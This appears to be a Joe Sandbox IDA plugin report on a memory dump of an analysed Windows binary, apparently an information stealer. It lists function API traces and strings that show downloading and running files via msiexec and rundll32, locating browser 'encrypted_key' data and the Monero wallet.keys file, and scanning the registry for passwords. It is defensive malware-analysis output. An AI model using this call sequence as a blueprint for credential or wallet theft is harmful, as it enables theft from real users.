Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: f4cf8d57367adc6694490a5601e7840e1704e4d20b5b3b96857233a806cc478b
Instruction ID: 7aca848ed6adebae1005873ee1b485c1b2d8daafda0eb5f68225dff6e360a1d4
Opcode Fuzzy Hash: f4cf8d57367adc6694490a5601e7840e1704e4d20b5b3b96857233a806cc478b
Instruction Fuzzy Hash: 4D1222B181010CAADB15FB90DC52FFE7778AF94340F508169F60A66091EF746B4ACF56

Function 009F52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E6280: InternetOpenA.WININET(00A00DFE,00000001,00000000,00000000,00000000), ref: 009E62E1
Part of subcall function 009E6280: StrCmpCA.SHLWAPI(?,013BE3C0), ref: 009E6303
Part of subcall function 009E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 009E6335
Part of subcall function 009E6280: HttpOpenRequestA.WININET(00000000,GET,?,013BDC98,00000000,00000000,00400100,00000000), ref: 009E6385
Part of subcall function 009E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009E63BF
Part of subcall function 009E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009E63D1

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 009F5318
lstrlen.KERNEL32(00000000), ref: 009F532F

Part of subcall function 009F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 009F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 009F5364
lstrlen.KERNEL32(00000000), ref: 009F5383
lstrlen.KERNEL32(00000000), ref: 009F53AE

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Strings

ERROR, xrefs: 009F54A9
ERROR, xrefs: 009F546F
ERROR, xrefs: 009F53B9
ERROR, xrefs: 009F5432
ERROR, xrefs: 009F530A

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 8d2ccd09364127311ca4d87bf49f6462eb8f8a951846b91a3663b58d846a6c6f
Instruction ID: 108223c1361e5e440a80774aa244e753b35866dc7f86b52efba75f4943a83194
Opcode Fuzzy Hash: 8d2ccd09364127311ca4d87bf49f6462eb8f8a951846b91a3663b58d846a6c6f
Instruction Fuzzy Hash: A2510DB091014CABCB14FF60CD92BFD7779AF90340F508418FA0A5A591EF74AB46CB66

Function 009F12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: d000db84e8818227f26fef68610d3e02d3f2bc346127763a7ddec50bdec6fa85
Instruction ID: d53c61c2c61ddd334d5a689cc18a1dd032a1d0270440c622a805d0e3bd1a2222
Opcode Fuzzy Hash: d000db84e8818227f26fef68610d3e02d3f2bc346127763a7ddec50bdec6fa85
Instruction Fuzzy Hash: B0C161B590021D9BCB14EF60DC89FFE7379BB94304F104598F60AA7281EA75EA85CF91

Function 009F4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009F8E0B

lstrcat.KERNEL32(?,00000000), ref: 009F42EC
lstrcat.KERNEL32(?,013BDA10), ref: 009F430B
lstrcat.KERNEL32(?,?), ref: 009F431F
lstrcat.KERNEL32(?,013BC9B8), ref: 009F4333

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009F8D90: GetFileAttributesA.KERNEL32(00000000,?,009E1B54,?,?,00A0564C,?,?,00A00E1F), ref: 009F8D9F

Part of subcall function 009E9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 009E9D39

Part of subcall function 009E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009E99EC
Part of subcall function 009E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009E9A11
Part of subcall function 009E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009E9A31
Part of subcall function 009E99C0: ReadFile.KERNEL32(000000FF,?,00000000,009E148F,00000000), ref: 009E9A5A
Part of subcall function 009E99C0: LocalFree.KERNEL32(009E148F), ref: 009E9A90
Part of subcall function 009E99C0: CloseHandle.KERNEL32(000000FF), ref: 009E9A9A

Part of subcall function 009F93C0: GlobalAlloc.KERNEL32(00000000,009F43DD,009F43DD), ref: 009F93D3

StrStrA.SHLWAPI(?,013BD9F8), ref: 009F43F3
GlobalFree.KERNEL32(?), ref: 009F4512

Part of subcall function 009E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009E4EEE,00000000,00000000), ref: 009E9AEF
Part of subcall function 009E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,009E4EEE,00000000,?), ref: 009E9B01
Part of subcall function 009E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,009E4EEE,00000000,00000000), ref: 009E9B2A
Part of subcall function 009E9AC0: LocalFree.KERNEL32(?,?,?,?,009E4EEE,00000000,?), ref: 009E9B3F

lstrcat.KERNEL32(?,00000000), ref: 009F44A3
StrCmpCA.SHLWAPI(?,00A008D1), ref: 009F44C0
lstrcat.KERNEL32(00000000,00000000), ref: 009F44D2
lstrcat.KERNEL32(00000000,?), ref: 009F44E5
lstrcat.KERNEL32(00000000,00A00FB8), ref: 009F44F4

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 1797096e061fe5bcca34c2fe407b8ca0cae8004d1ccbb365c195e1a808be948e
Instruction ID: 3cb6f1f1a1d86432ac610508371400f952b19025a1fe819d96e00e0790947d97
Opcode Fuzzy Hash: 1797096e061fe5bcca34c2fe407b8ca0cae8004d1ccbb365c195e1a808be948e
Instruction Fuzzy Hash: ED7114B691020CABDB14FBA4DC85FEE737DBB88300F044598F609A7181EA75DB59CB91

Function 009E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009E12B4
Part of subcall function 009E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 009E12BB
Part of subcall function 009E12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009E12D7
Part of subcall function 009E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009E12F5
Part of subcall function 009E12A0: RegCloseKey.ADVAPI32(?), ref: 009E12FF

lstrcat.KERNEL32(?,00000000), ref: 009E134F
lstrlen.KERNEL32(?), ref: 009E135C
lstrcat.KERNEL32(?,.keys), ref: 009E1377

Part of subcall function 009FA740: lstrcpy.KERNEL32(00A00E17,00000000), ref: 009FA788

Part of subcall function 009FA9B0: lstrlen.KERNEL32(?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009FA9C5
Part of subcall function 009FA9B0: lstrcpy.KERNEL32(00000000), ref: 009FAA04
Part of subcall function 009FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 009FAA12

Part of subcall function 009FA8A0: lstrcpy.KERNEL32(?,00A00E17), ref: 009FA905

Part of subcall function 009F8B60: GetSystemTime.KERNEL32(00A00E1A,013B9A98,00A005AE,?,?,009E13F9,?,0000001A,00A00E1A,00000000,?,013B8BA0,?,\Monero\wallet.keys,00A00E17), ref: 009F8B86

Part of subcall function 009FA920: lstrcpy.KERNEL32(00000000,?), ref: 009FA972
Part of subcall function 009FA920: lstrcat.KERNEL32(00000000), ref: 009FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 009E1465

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009E99EC
Part of subcall function 009E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 009E9A11
Part of subcall function 009E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 009E9A31
Part of subcall function 009E99C0: ReadFile.KERNEL32(000000FF,?,00000000,009E148F,00000000), ref: 009E9A5A
Part of subcall function 009E99C0: LocalFree.KERNEL32(009E148F), ref: 009E9A90
Part of subcall function 009E99C0: CloseHandle.KERNEL32(000000FF), ref: 009E9A9A

DeleteFileA.KERNEL32(00000000), ref: 009E14EF

Strings

\Monero\wallet.keys, xrefs: 009E138D
wallet_path, xrefs: 009E1330
SOFTWARE\monero-project\monero-core, xrefs: 009E1335
.keys, xrefs: 009E136B

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 2700be56a774e24ba87d048ed73c470fa6984c2fd9c5470a5dcbe0444df70be3
Instruction ID: 4a2eb9679b1f0ac55cdaa2b030d6b9340856490bb57dbb68b361ed23b7e5907a
Opcode Fuzzy Hash: 2700be56a774e24ba87d048ed73c470fa6984c2fd9c5470a5dcbe0444df70be3
Instruction Fuzzy Hash: 08510EF1D5011D97CB15EB60DD92BFD737CAB94700F4045A8B70A62092EE706B8ACBA6

Function 009E75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009E72D0: memset.MSVCRT ref: 009E7314
Part of subcall function 009E72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 009E733A
Part of subcall function 009E72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009E73B1
Part of subcall function 009E72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 009E740D
Part of subcall function 009E72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 009E7452
Part of subcall function 009E72D0: HeapFree.KERNEL32(00000000), ref: 009E7459

lstrcat.KERNEL32(00000000,00A017FC), ref: 009E7606
lstrcat.KERNEL32(00000000,00000000), ref: 009E7648
lstrcat.KERNEL32(00000000, : ), ref: 009E765A
lstrcat.KERNEL32(00000000,00000000), ref: 009E768F
lstrcat.KERNEL32(00000000,00A01804), ref: 009E76A0
lstrcat.KERNEL32(00000000,00000000), ref: 009E76D3
lstrcat.KERNEL32(00000000,00A01808), ref: 009E76ED
task.LIBCPMTD ref: 009E76FB

Strings

: , xrefs: 009E764E

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b7738f4d9a1ad24747083475e47e309451c6315210b08dd07ae98ffe123c8bf5
Instruction ID: 7fcf4503ac37c86f174ea7038f194d98a15e0ea9155b90dddb6e3a858c8902ed
Opcode Fuzzy Hash: b7738f4d9a1ad24747083475e47e309451c6315210b08dd07ae98ffe123c8bf5
Instruction Fuzzy Hash: 1E314975910149EBCB1AEBE5DC85FFFB378BB84701B104518F106A72A0DA38AD47CB52

Function 009E72D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 009E7314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 009E733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009E73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 009E740D
GetProcessHeap.KERNEL32(00000000,?), ref: 009E7452
HeapFree.KERNEL32(00000000), ref: 009E7459
task.LIBCPMTD ref: 009E7555

Strings

Password, xrefs: 009E7401

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: 5ed1f413e87e69bd879f889dc1684f4fe59a16e19ff61439e0913045861ec3b9
Instruction ID: 9652e06e7b2929d8372d89730e3fd267b17f5ed1b79545b027db38d290bb9aaa
Opcode Fuzzy Hash: 5ed1f413e87e69bd879f889dc1684f4fe59a16e19ff61439e0913045861ec3b9
Instruction Fuzzy Hash: A2611BB590429C9BDB25DB91DC45BDAB7B8BF48300F0081E9E649A6181EB705FC9CFA1

Function 009F8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,013BDE30,00000000,?,00A00E2C,00000000,?,00000000), ref: 009F8130
RtlAllocateHeap.NTDLL(00000000), ref: 009F8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 009F8158
__aulldiv.LIBCMT ref: 009F8172
__aulldiv.LIBCMT ref: 009F8180
wsprintfA.USER32 ref: 009F81AC

Strings

%d MB, xrefs: 009F81A3
@, xrefs: 009F814D

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 69dee90a950c6a46df13944e86ee05fc4101def121f8d41a17c5210e1d958884
Instruction ID: 373ee563dc0337da8ddf636bd700106f5476b4cf065043211bd2caaf5880ba41
Opcode Fuzzy Hash: 69dee90a950c6a46df13944e86ee05fc4101def121f8d41a17c5210e1d958884
Instruction Fuzzy Hash: 6821F7B1A4421CABDB10DFD5DC49FAFB7B9FB44B14F104609F705AB280D778A9018BA5

Function 009E60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 009FA7E6

Part of subcall function 009E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009E4839
Part of subcall function 009E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009E4849

InternetOpenA.WININET(00A00DF7,00000001,00000000,00000000,00000000), ref: 009E610F
StrCmpCA.SHLWAPI(?,013BE3C0), ref: 009E6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 009E618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 009E61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 009E61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009E620A
CloseHandle.KERNEL32(?,?,00000400), ref: 009E6249
InternetCloseHandle.WININET(?), ref: 009E6253
InternetCloseHandle.WININET(00000000), ref: 009E6260

Memory Dump Source

Source File: 00000000.00000002.2100900274.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.2100887792.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100900274.0000000000C2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000C3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000DCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ECB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101037999.0000000000EE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101379187.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101492369.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101505748.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: e5e089a00a4d513f2b603d4cd47d7b2645b454708908ee2b1e853739858dd8b7
